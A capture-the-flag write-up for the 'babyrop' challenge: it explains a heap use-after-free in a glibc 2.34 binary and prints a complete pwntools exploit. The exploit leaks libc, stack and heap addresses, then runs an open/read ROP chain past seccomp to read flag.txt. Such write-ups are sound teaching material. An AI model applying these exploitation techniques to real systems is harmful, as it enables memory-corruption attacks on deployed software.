babyrop

babyrop is a simple heap-use-after-free exploitation challenge in glibc 2.34, meaning no allocator hooks to be used as function pointers for PC control. We are also stuck w/ seccomp and can't /bin/sh.

Files

The Binary

Source Code

#include <stdio.h>
#include <stdlib.h>

#include <unistd.h>
#include "seccomp-bpf.h"

void activate_seccomp()
{
    struct sock_filter filter[] = {
        VALIDATE_ARCHITECTURE,
        EXAMINE_SYSCALL,
        ALLOW_SYSCALL(mprotect),
        ALLOW_SYSCALL(mmap),
        ALLOW_SYSCALL(munmap),
        ALLOW_SYSCALL(exit_group),
        ALLOW_SYSCALL(read),
        ALLOW_SYSCALL(write),
        ALLOW_SYSCALL(open),
        ALLOW_SYSCALL(close),
        ALLOW_SYSCALL(openat),
        ALLOW_SYSCALL(fstat),
        ALLOW_SYSCALL(brk),
        ALLOW_SYSCALL(newfstatat),
        ALLOW_SYSCALL(ioctl),
        ALLOW_SYSCALL(lseek),
        KILL_PROCESS,
    };

    struct sock_fprog prog = {
        .len = (unsigned short)(sizeof(filter) / sizeof(struct sock_filter)),
        .filter = filter,
    };

    prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
    prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
}


#include <gnu/libc-version.h>
#include <stdio.h>
#include <unistd.h>
int get_libc() {
    // method 1, use macro
    printf("%d.%d\n", __GLIBC__, __GLIBC_MINOR__);

    // method 2, use gnu_get_libc_version 
    puts(gnu_get_libc_version());

    // method 3, use confstr function
    char version[30] = {0};
    confstr(_CS_GNU_LIBC_VERSION, version, 30);
    puts(version);

    return 0;
}

#define NUM_STRINGS 10

typedef struct {
    size_t length;
	char * string;
} safe_string;

safe_string * data_storage[NUM_STRINGS];

void read_safe_string(int i) {
    safe_string * ptr = data_storage[i];
    if(ptr == NULL) {
        fprintf(stdout, "that item does not exist\n");
        fflush(stdout);
        return;
    }

    fprintf(stdout, "Sending %zu hex-encoded bytes\n", ptr->length);
    for(size_t j = 0; j < ptr->length; ++j) {
        fprintf(stdout, " %02x", (unsigned char) ptr->string[j]);
    }
    fprintf(stdout, "\n");
    fflush(stdout);
}

void free_safe_string(int i) {
    safe_string * ptr = data_storage[i];
    free(ptr->string);
    free(ptr);
}

void write_safe_string(int i) {
    safe_string * ptr = data_storage[i];
    if(ptr == NULL) {
        fprintf(stdout, "that item does not exist\n");
        fflush(stdout);
        return;
    }

    fprintf(stdout, "enter your string: ");
    fflush(stdout);

    read(STDIN_FILENO, ptr->string, ptr->length);
}

void create_safe_string(int i) {

    safe_string * ptr = malloc(sizeof(safe_string));

    fprintf(stdout, "How long is your safe_string: ");
    fflush(stdout);
    scanf("%zu", &ptr->length);

    ptr->string = malloc(ptr->length);
    data_storage[i] = ptr;

    write_safe_string(i);

}

// flag.txt
int main() {

    get_libc();
    activate_seccomp();

    int idx;
    int c;
    
    while(1){
        fprintf(stdout, "enter your command: ");
        fflush(stdout);
        while((c = getchar()) == '\n' || c == '\r');

        if(c == EOF) { return 0; }

        fprintf(stdout, "enter your index: ");
        fflush(stdout);
        scanf("%u", &idx);

        if((idx < 0) || (idx >= NUM_STRINGS)) {
            fprintf(stdout, "index out of range: %d\n", idx);
            fflush(stdout);
            continue;
        }

        switch(c) {
            case 'C':
                create_safe_string(idx);
                break;
            case 'F':
                free_safe_string(idx);
                break;
            case 'R':
                read_safe_string(idx);
                break;
            case 'W':
                write_safe_string(idx);
                break;
            case 'E':
                return 0;
        }
    
    }
}

We are allowed to:

  • malloc chunks of controlled sizes

  • free the chunks we allocated

  • read data from them

  • write data to them

I started things off by creating some helpers to interact w/ the binary.

#!/usr/bin/env python2
from pwn import *

# Definitions
e = context.binary = ELF('./babyrop',checksec=False)
libc = ELF('./libc.so.6',checksec=False)
context.terminal = ['terminator','-e']
context.log_level = 'DEBUG'

if args.REMOTE:
    io = remote('mc.ax',31245)
else:
    io = process(e.path)

def create(i,s,d=''):
    io.sendlineafter(': ','C')
    io.sendlineafter(': ',str(i))
    io.sendlineafter(': ',str(s))
    io.sendlineafter(': ',d)

def free(i):
    io.sendlineafter(': ','F')
    io.sendlineafter(': ',str(i))

def read(i):
    io.sendlineafter(': ','R')
    io.sendlineafter(': ',str(i))

def write(i,d):
    io.sendlineafter(': ','W')
    io.sendlineafter(': ', str(i))
    io.sendlineafter(': ',d)
[...]

Use-after-free

There is a very obvious UAF in free_safe_string, allowing us to read, write, free the chunks after they are already free.

void free_safe_string(int i) {
    safe_string * ptr = data_storage[i];
    free(ptr->string);
    free(ptr);
}

The controlled chunks are tied to a metadata (safe_string struct) chunk which is where the pointer to ther controlled chunks are stored, along with their respective sizes.

typedef struct {
    size_t length;
	char * string;
} safe_string;

The ideal scenario would be to abuse the UAF to overlap a safe_string struct with a controlled chunk so we can manipulate the string pointer and length, pretty much given us straight up arb read/write.

This can be easily achieved with a correct sequence of allocations and deallocations as follows. (Keep in mind that the size of the safe_string struct is 0x10, considering the chunk size field and alignment, they go in the 0x20 caches).

First I allocate a string with the same size of the safe_string structure and another string with a different size.

Then I free'd both of them, first the 0x20 string, then the 0x10 string. So now our tcache should look like this: (Consider that tcache is LIFO and also that each chunk has 8 bytes for size and is aligned to 0x10).

Now we know for sure that our next 0x20 sized allocations (0x10 sized strings) will go in the A chunk and then B and C.

Then, if we allocate another 0x20 string we'll consume chunk A (safe_string) and D (string), which mean our next safe_string will go in B and it's string chunk will go in C. Since C is the safe_string of the second allocation and also the controllable string of the fourth allocation, when we edit the fourth allocated string we will be editing the lenght and pointer of the second one, constructing a very reliable arb read/write interface.

[...]
    # Heap massage + UAF
    create(0,0x10)
    create(1,0x20)
    free(1)
    free(0)
    create(2,0x20)
    create(3,0x10)
[...]

Leaking Libc

Since PIE is off getting a libc leak is as easy as using our arb read to read 8 bytes of some GOT entry, I used puts.

[...]
def parse_leak(o=0):
    io.recvline()
    io.recv(1)
    raw = io.recvline().split(' ')
    leak = ''
    for i in reversed(range(6)):
        leak += raw[i]
    return int(leak,16) - o

[...]

    # Leak libc
    write(3,p64(8)+p64(0x004031f0))
    read(1)
    libc.address = parse_leak(0x7a180)
    log.success('Libc: ' + hex(libc.address))
[...]

Leaking Stack

Glibc 2.34 doesn't have free/malloc hooks, so we'll have to ROP to get PC control, to do that we can find the return address of some function and overwrite it with a rop chain, then have this function return. The easiest way to get a stack address in order to do that is using the environ symbol from libc.

[...]
def parse_leak(o=0):
    io.recvline()
    io.recv(1)
    raw = io.recvline().split(' ')
    leak = ''
    for i in reversed(range(6)):
        leak += raw[i]
    return int(leak,16) - o

[...]

    # Leak stack
    write(3,p64(8)+p64(libc.sym['environ']))
    read(1)
    ret_addr = parse_leak(0x160)
    log.success('Ret addr: ' + hex(ret_addr))
[...]

Leaking Heap

Due to seccomp filters we won't be able to do an execve("/bin/sh",0,0) rop chain, so we'll need to open ./flag.txt, read the data from a file descriptor and retrieve that data. To do all that we need a memory segment that we can write to and read from, so we can store the "./flag.txt" string and also store the actual flag upon reading it. In this challenge we could use either .bss (using arb read/write), or the heap. I chose to use the heap so I can later retrieve the flag using read_safe_string during the rop chain.

[...]
def parse_leak(o=0):
    io.recvline()
    io.recv(1)
    raw = io.recvline().split(' ')
    leak = ''
    for i in reversed(range(6)):
        leak += raw[i]
    return int(leak,16) - o

[...]

    # Leak heap
    create(4,0x60,'./flag.txt\x00')
    write(3,p64(8)+p64(0x404060))
    read(1)
    flag_txt = parse_leak(-0x20)
    log.success('./flag.txt: ' + hex(flag_txt))
[...]

ROP

The final rop consists in:

  • open("./flag.txt") # ./flag.txt string is stored in the heap

  • read(3, heap_addr, 0x60) # ./flag.txt is in fd 3 since no other files are opened

  • read_safe_string(4) # print the item where the flag was written to

[...]
    # ROP
    write(3,p64(0x100)+p64(ret_addr))
    rop = ROP(libc)
    rop.call('open',[flag_txt,0])
    rop.call('read',[3,flag_txt,0x60])
    rop.rdi = 4
    rop.raw(e.sym['read_safe_string'])
    write(1,rop.chain())
    
    # Trigger ROP
    read(1)
[...]

Final Exploit

The program crashes shortly after showing the flag, so there is no point in fixing that ;)

#!/usr/bin/env python2
from pwn import *

# Definitions
e = context.binary = ELF('./babyrop',checksec=False)
libc = ELF('./libc.so.6',checksec=False)
context.terminal = ['terminator','-e']
context.log_level = 'DEBUG'

if args.REMOTE:
    io = remote('mc.ax',31245)
else:
    io = process(e.path)

def create(i,s,d=''):
    io.sendlineafter(': ','C')
    io.sendlineafter(': ',str(i))
    io.sendlineafter(': ',str(s))
    io.sendlineafter(': ',d)

def free(i):
    io.sendlineafter(': ','F')
    io.sendlineafter(': ',str(i))

def read(i):
    io.sendlineafter(': ','R')
    io.sendlineafter(': ',str(i))

def write(i,d):
    io.sendlineafter(': ','W')
    io.sendlineafter(': ', str(i))
    io.sendlineafter(': ',d)

# Exploit
def parse_leak(o=0):
    io.recvline()
    io.recv(1)
    raw = io.recvline().split(' ')
    leak = ''
    for i in reversed(range(6)):
        leak += raw[i]
    return int(leak,16) - o
    
def pwn():

    # Heap massage + UAF
    create(0,0x10)
    create(1,0x20)
    free(1)
    free(0)
    create(2,0x20)
    create(3,0x10)

    # Leak libc
    write(3,p64(8)+p64(0x004031f0))
    read(1)
    libc.address = parse_leak(0x7a180)
    log.success('Libc: ' + hex(libc.address))

    # Leak stack
    write(3,p64(8)+p64(libc.sym['environ']))
    read(1)
    ret_addr = parse_leak(0x160)
    log.success('Ret addr: ' + hex(ret_addr))

    # Leak heap
    create(4,0x60,'./flag.txt\x00')
    write(3,p64(8)+p64(0x404060))
    read(1)
    flag_txt = parse_leak(-0x20)
    log.success('./flag.txt: ' + hex(flag_txt))

    # ROP
    write(3,p64(0x100)+p64(ret_addr))
    rop = ROP(libc)
    rop.call('open',[flag_txt,0])
    rop.call('read',[3,flag_txt,0x60])
    rop.rdi = 4
    rop.raw(e.sym['read_safe_string'])
    write(1,rop.chain())

    # Trigger ROP
    read(1)

pwn()
io.interactive()

Flag: dice{glibc_2.34_stole_my_function_pointers-but_at_least_nobody_uses_intel_CET}

Last updated